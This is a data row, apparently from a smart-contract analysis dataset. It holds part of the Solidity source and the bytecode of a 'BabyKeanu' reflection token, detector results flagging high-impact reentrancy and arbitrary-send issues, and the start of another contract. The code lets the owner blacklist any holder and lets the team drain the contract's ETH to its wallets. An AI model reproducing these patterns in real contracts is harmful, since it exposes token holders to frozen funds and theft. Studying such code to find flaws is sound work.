uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601f81526020017f426162794b65616e75207c20742e6d652f626162796b65616e75746f6b656e00815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f424b45414e000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209098ab01bf32d5839c01c263400c994c6f1a112f7d3e45accd67913742a38a8564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 808 |
0xe75e8cf3e820f1f8af1e2f7c679cacf57aaf7f73 | pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
